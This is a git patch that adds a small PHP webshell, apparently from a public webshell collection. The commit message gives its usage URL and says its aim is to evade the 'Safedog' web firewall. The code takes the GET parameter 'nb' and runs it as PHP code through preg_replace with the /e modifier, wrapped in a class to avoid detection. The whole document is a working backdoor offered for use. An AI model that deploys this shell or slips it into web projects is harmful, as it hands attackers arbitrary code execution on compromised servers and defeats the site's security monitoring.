From 67733cfcdc01f31199b3f5e3e5fe5614b0b472ad Mon Sep 17 00:00:00 2001
From: tennc <tennc@126.com>
Date: Thu, 30 Jan 2020 14:30:09 +0800
Subject: [PATCH] Create bypass-dog-2020-01-30.php
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

use: http://xxx.xxx.xx/xxx.php?nb=phpinfo()
form: WX公众号 “ 渗透云笔记” Sigsh
新年从过狗开始
---
 php/bypass-dog-2020-01-30.php | 12 ++++++++++++
 1 file changed, 12 insertions(+)
 create mode 100644 php/bypass-dog-2020-01-30.php

diff --git a/php/bypass-dog-2020-01-30.php b/php/bypass-dog-2020-01-30.php
new file mode 100644
index 0000000..5842f48
--- /dev/null
+++ b/php/bypass-dog-2020-01-30.php
@@ -0,0 +1,12 @@
+<?php
+class SBdog{
+  public $x;
+  function dog(){
+    $this->x=$_GET['nb']; 
+  }
+}
+$class=new SBdog();
+$class->dog();
+$a=$class->x;
+preg_replace("/dog/e", $a, "I am a sb dog");
+?>